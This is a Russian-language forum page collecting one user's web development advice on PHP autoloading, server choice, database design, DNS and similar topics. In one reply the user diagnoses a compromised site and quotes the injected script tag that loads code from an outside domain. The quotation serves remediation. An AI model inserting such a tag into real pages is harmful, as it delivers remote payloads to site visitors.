Jump to content

pkorobeinikov

User
  • Posts

    41
  • Joined

  • Last visited

Posts posted by pkorobeinikov

  1. Адекватно?

    Разберитесь с протоколами интернета.

    Настройте сервер на unix-подобной машине.

    Поймите, как работают серверные приложения.

    Стремитесь быть специалистами.

  2. Выговорился бы один раз про ваши денверы и опенсерверы, да столько слов нецензурных не знаю.

    Поднимайте нормальные веб-сервера и виртуальные хосты на них.

  3. Можно переопределить методы alert(), confirm() и prompt() объекта окна, но отрисовку придется делать самому.

    Такой вариант мне представляется наиболее удобным.

  4. Почему считается плохой практикой расширять встроенные объекты?? Например, так:

    Array.prototype.myMethod = function(){}

    Расширяйте, если в этом есть необходимость.

    Я бы добавил метод clone(),

    который мог бы рекурсивно клонировать массивы,

    и each(), который бы обходил массив,

    применяя к каждому элементу функцию обратного вызова.

  5. А такие штуки как DataSet и DataTable используются? Или все делается запросом?

    Это из какой области Вы спросили?

    Java, .NET?

    Там очень гибкие конструкторы запросов, могут довольно много.

  6. Если везде индексы поставите, нормально будет чувствовать. У вас будет миллион записей в таблице? Если меньше, то MySQL, а тем более PosgreSQL справится.

    Кстати, на чтение mysql (с myisam движком) может даже пошустрее будет.

    В конце-концов, никто не отменяет кэширование.

  7. Такая схема называется "Звезда".

    Вам нужно выделить следующие сущности:

    1. Товар (product)

    2. Характеристика, или параметр, (parameter)

    3. Значение параметра (parameter_value)

    И определить между ними связи.

    Сложность будет заключаться в типах данных значений параметров, если потребуется использовать значения разных типов.

  8. "return false" - не требуется. Если класс не будет найден, на экране появится стойкий Fatal Error.

    Лучше не использовать strtolower(), а именовать файлы в том же регистре, как и классы, например:

    class Postgres {} -> Postgres.php

    class Controller {} -> Controller.php

    Про нагрузку не берите в голову.

    • Like 1
  9. Вопросы носят общий характер, ибо пока не сталкивался с данной функцией, в первом посте собственно я их и озвучил: преимущества и недостатки (не преред кем, чем, а вообще).

    Может есть какие подводные камни?

    Попробуйте.

    Пока никто не жаловался.

    Ну например стоит ли ее использовать если разные классы в разных директориях и поддиректориях?

    Или же можно их по типу объединить и в одну директорию?

    Классы могут быть в разных директориях.

    Директории должны быть в include_path.

    Стоит ли указать с каких конкретно директорий грузить классы, или дать возможность искать во всех?

    Обычно все пути проекта добавляют в include_path.

    Нагрузка - это само-собой, но на этот вопрос вы вроде как ответили.

    Не берите пока в голову.

    UPD: при этом возникает еще такой вопрос: стоит ли перенаправлять все запросы на один файл index.php и как тогда после этого будет выглядеть чпу? Это тоже относится к данной функции.

    Так и делают.

    index.php -- это точка входа для любого приложения.

    Посмотрите, как это сделано во фреймворках на php.

    Для ЧПУ используют mod_rewrite, с перенаправлением запроса на index.php.

    Анализ строки запроса производят уже в приложении.

  10. Ну, во-первых, не надо кипятиться.

    Во-вторых, в php есть директива include_path.

    Не считаю правильным городить огород вокруг подключения классов.

    Следует учесть, что include и require -- дорогие операции для php.

    Можно было бы объединить все классы в один файл перед выкладкой проекта.

    Во время разработки так делать, конечно, не следует.

  11. Вот как будет выглядеть Ваша функция __autoload():


    function __autoload($className) {
    require_once "$className.php";
    }

    В случае с spl_autoload() можно более гибко настроить расширения подключаемых файлов, например использовать .inc, .inc.php, .class.php и т.п.

  12. Ничего плохого в "ленивой автозагрузке" не будет.

    Взгляните также на spl_autoload.

    Если боитесь проблем с производительностью,

    используйте eAccelerator -- он будет полезен, когда у Вас будет больше трехсот тысяч уникальных посетителей.

  13. Непонял, вы предлагаете установить по очереди апач, пхп, мускул и забить на денвер?

    Я предлагаю вообще не устанавливать apache и mysql.

    Возьмите более легковесный сервер, например, lighttpd или nginx.

    Выберите более надежную СУБД: Postgres или, в крайнем случае, Oracle.

  14. Скорее всего у Вас утащили пароль к ftp.

    Вам следует его поменять.

    Потом необходимо проанализировать код на предмет наличия в нём чужеродных скриптов.

    По всей видимости причина в этом скрипте:

    <script language='JavaScript' src='http://mygold.pp.ua/js/?cat=fraza'></script>

  15. Это те ребята, к чьим DNS-серверам идут запросы.

    Наиболее вероятно, это интернет-провайдер.

  16. Далеко не факт, что проблема в хостинге.

    На каком-то из name-серверов по пути к сайту до сих пор не обновились таблицы доменных имён.

    Самое разумное -- подождать 2-3 суток.

    Вряд ли кто-то будет инициировать принудительное обновление.

  17. Если разговор идет о вставке поисковой формы на сайт, отправляющей запросы на поисковые сервера Яндекса и отдающей результат в iframe, то подсказки будут строиться на основе статистики запросов именно Яндекса, а не конкретного сайта.

    Но у Яндекса есть замечательный продукт -- Яндекс.Сервер.

    Это лучшее решение, осуществляющее поиск с учётом морфологии русского языка.

    Может быть имеет смысл использовать его?

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy